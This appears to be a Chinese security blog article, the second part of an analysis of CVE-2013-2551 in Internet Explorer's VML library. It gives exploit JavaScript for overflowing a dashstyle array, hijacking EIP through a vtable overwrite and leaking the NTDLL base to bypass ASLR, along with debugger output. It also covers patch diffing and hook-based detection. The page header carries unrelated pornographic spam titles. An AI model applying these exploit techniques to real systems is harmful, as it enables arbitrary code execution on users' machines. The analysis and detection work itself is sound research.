青青青国产依人在线观看视频_亚洲欧美一区二区骚虎_亚洲理论在线中文字幕a_无码a级毛片免费不卡

歡迎來到興華永恒!加入收藏設(shè)為首頁
您當(dāng)前所在位置:首頁 > 技術(shù)專欄 > 專業(yè)發(fā)布
技術(shù)專欄

CVE-2013-2551樣本分析及漏洞利用和防御(下篇)



3.4 劫持EIP

劫持EIP的源碼大致如下:

for (var i=0; i<0x1000; i++){
a2[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
for (var i=0; i<0x1000; i++)
{
delete a2[i];
CollectGarbage();
}
location.reload();

由于0x0c0c0c0c在內(nèi)存中存在太多,不方便搜索,將其修改為一個(gè)比較特殊的值0x0eeeee0e,然后加入彈框

vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0eeeee0e;
alert("pause");

使用windbg附加運(yùn)行,在彈框后暫停,然后搜索數(shù)值0x0eeeee0e

0:015> s -b 0x0 L?0x7fffffff 0e ee ee 0e
01a25c49  0e ee ee 0e 25 01 00 94-91 c8 0a 74 05 00 8c fc  ....%......t....
01a2ca8a  0e ee ee 0e 25 01 00 5b-03 28 1e 74 05 00 00 0a  ....%..[.(.t....
01a2cfc0  0e ee ee 0e 00 00 00 00-80 00 00 00 00 00 00 00  ................
12b60280  0e ee ee 0e 50 00 b8 12-01 00 00 00 04 3c 92 12  ....P........<..

根據(jù)對(duì)其,可以排除第一個(gè)搜索結(jié)果,由于搜索到的結(jié)果不多,可以根據(jù)其分布在數(shù)組{1,2,3,4}之后尋找

經(jīng)過在內(nèi)存中往上尋找數(shù)組,地址0x12b60280符合條件

查看附近內(nèi)存布局

10.png

我們看到,一個(gè)COAShape對(duì)象緊接著一個(gè)COAReturnedPointsForAnchor對(duì)象,它們占用的內(nèi)存空間都是一樣的。根據(jù)源碼,我們可以知道,通過布置跟對(duì)象大小相同的數(shù)組,利用溢出,定位到后一個(gè)對(duì)象(此處是COAShape對(duì)象)的虛表

查看COAShape虛表的內(nèi)容

11.png

此時(shí)我們知道虛表指針被改寫了

對(duì)0x0eeeee0e下執(zhí)行斷點(diǎn),中斷時(shí)查看函數(shù)的調(diào)用關(guān)系

0:005> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
020cb840 6a23f212 12ba7be0 6a2bf712 126e3760 0xc0c0c0c
020cb848 6a2bf712 126e3760 126df2c8 6a2bf668 mshtml!ClearInterfaceFn+0xf
020cb854 6a2bf668 126e3748 126e3760 126df2c8 mshtml!CPeerHolder::DetachPeer+0x56
...(lines have been omitted)...

查看上層調(diào)用

mshtml!ClearInterfaceFn:
6a23f202 8b08            mov     ecx,dword ptr [eax]
6a23f204 832000          and     dword ptr [eax],0
6a23f207 85c9            test    ecx,ecx
6a23f209 7501            jne     mshtml!ClearInterfaceFn+0x9 (6a23f20c)
6a23f20b c3              ret
6a23f20c 8b01            mov     eax,dword ptr [ecx]
6a23f20e 51              push    ecx
6a23f20f ff5008          call    dword ptr [eax+8]
6a23f212 ebf7            jmp     mshtml!ClearInterfaceFn+0xf (6a23f20b)

地址0x6a23f20f是在調(diào)用虛表第二項(xiàng),正常情況是Release函數(shù),溢出后,劫持了EIP

構(gòu)造的利用樣本將在此處執(zhí)行換棧操作

0:005> u poi(0c0c0c0c + 8) L1
ntdll!A_SHAInit+0x2e:
77865789 94              xchg    eax,esp

3.5 不使用0x7ffe0300泄露NTDLL.DLL基址過ASLR

使用固定偏移泄露NTDLL.DLL的基址在打過補(bǔ)丁的Windows 7系統(tǒng)上已經(jīng)不能使用了,實(shí)際利用中局限性比較大。我們可以考慮泄露其他模塊的基址,或者換種思路泄露NTDLL.DLL基址

對(duì)于已有的利用代碼來講換種方式泄露NTDLL.DLL基址對(duì)代碼的改動(dòng)量比較小

查看漏洞模塊自身的導(dǎo)入表信息

1492415632123430.png

好吧,沒有導(dǎo)入NTDLL.DLL的函數(shù)。那么我也比較懶,泄露VGX.DLL模塊的基址,通過導(dǎo)入表找到KERNEL32.DLL,針對(duì)其中某個(gè)函數(shù)到NTDLL.DLL基址的固定偏移泄露NTDLL.DLL基址。簡(jiǎn)單可行,源碼改動(dòng)小。當(dāng)然,缺點(diǎn)是VGX.DLL模塊版本限定太死

源碼大致如下:

var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length      = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft   = "Khwarezmia";
marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);
if (marginLeftAddress > 0) {
 /////////////////////////////////////////////////////////
 //offset to PE
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + 0x3c;
 var leak = a[i].marginLeft;
 
 pe_offset = parseInt(leak.charCodeAt(0).toString(16), 16);
 
 //find import directory
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + pe_offset + 0x80;
 var leak = a[i].marginLeft;
 
 import_directory = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
 
 //find kernel32.dll
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + import_directory + 0x4C;
 var leak = a[i].marginLeft;
 
 thunk = parseInt(leak.charCodeAt(0).toString(16), 16);
 
 //find first function address
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + thunk;
 var leak = a[i].marginLeft;
 
 first_function_addr = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
 
 ntdll_base = first_function_addr - 0x47760;
  
 //return original value
 vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress;
 vml1.dashstyle.array.length = length_orig;
 /////////////////////////////////////////////////////////
 alert("base of ntdll.dll : " + ntdll_base.toString(16));
 break;
 }
 }
 return ntdll_base;

0x4 漏洞檢測(cè)

通過本文第二部分分析,已經(jīng)知道在vgx!ORG::CElements函數(shù)內(nèi)造成溢出

源碼中的關(guān)鍵溢出語句:

vml1.dashstyle.array.length = 0 - 1;

從數(shù)據(jù)關(guān)系的角度來看,銀行柜臺(tái)辦理存款業(yè)務(wù)時(shí),柜員收到現(xiàn)金的時(shí)候,應(yīng)該先驗(yàn)鈔還是先辦理存款登記再驗(yàn)證鈔票真?zhèn)??答案顯然是前者。那么我們的檢測(cè)點(diǎn)也應(yīng)該提前到數(shù)據(jù)輸入的地方。

4.1 根據(jù)微軟安全公告下載補(bǔ)丁

根據(jù)微軟的安全公告MS13-037下載到補(bǔ)丁KB2829530,補(bǔ)丁前后的VGX.DLL文件版本分別為

  • [補(bǔ)丁前]:8.0.7601.18106

  • [補(bǔ)丁后]:8.0.7601.18126

4.2 使用Bindiff對(duì)比文件

使用Bindiff對(duì)比vgx.dll之后,根據(jù)符號(hào)名稱猜測(cè)是在COALineDashStyleArray::put_length函數(shù)進(jìn)行的修補(bǔ)

1492415733560282.png

進(jìn)行對(duì)比

1492415747861420.png

通過Windbg調(diào)試驗(yàn)證

走到判斷數(shù)值是否小于0

3.png

G一下,利用樣本正常運(yùn)行,沒有觸發(fā)漏洞

4.png

我們可以鉤取COALineDashStyleArray::put_length函數(shù)前五字節(jié),插入判斷代碼,判斷參數(shù)的值是否小于0,如果小于0提示用戶觸發(fā)CVE-2013-2551,否則還原流程

1492415789530372.png

檢測(cè)代碼編寫略

檢測(cè)效果截圖

1492415811368468.png

0x5 總結(jié)

該漏洞屬于整數(shù)溢出漏洞。其漏洞原因在于VGX.DLL模塊中處理dashstyle.array.length屬性時(shí)未對(duì)輸入?yún)?shù)進(jìn)行有效檢查。利用溢出造成任意地址讀寫,改寫虛表指針劫持EIP獲得任意代碼執(zhí)行的能力

根據(jù)參考代碼,筆者通過泄露NTDLL.DLL模塊基址的方式繞過ASLR,當(dāng)然,此次繞過的方式并不具有通用性,漏洞利用技巧也是筆者需要更多學(xué)習(xí)、思考以及參考野外樣本利用方式待以提升的地方

編碼對(duì)該漏洞利用樣本進(jìn)行動(dòng)態(tài)檢測(cè),從數(shù)據(jù)關(guān)系的角度來看,一定是在獲取外部數(shù)據(jù)的位置部署檢測(cè)代碼。筆者對(duì)關(guān)鍵函數(shù)進(jìn)行API HOOK,一旦外部數(shù)據(jù)不合法立即提示給用戶

0x6 參考資料

[1] 4B5F5F4B《CVE-2013-2551/MS13-037 POC》

[2] Danny__Wei《CVE-2013-2551漏洞成因與利用分析》

[3]  tedjoy《Advanced Exploitation Technology-Analyze》

[4] hac425《IE瀏覽器漏洞利用技術(shù)的演變 ( 二 )》

[5] Yang Yu《DEP-ASLR bypass without ROP-JIT》

*本文為 華興永恒安全團(tuán)隊(duì)發(fā)布,如若轉(zhuǎn)載,請(qǐng)注明來源興華永恒:miantirepression.org


在線咨詢 周一至周五
09:00-18:00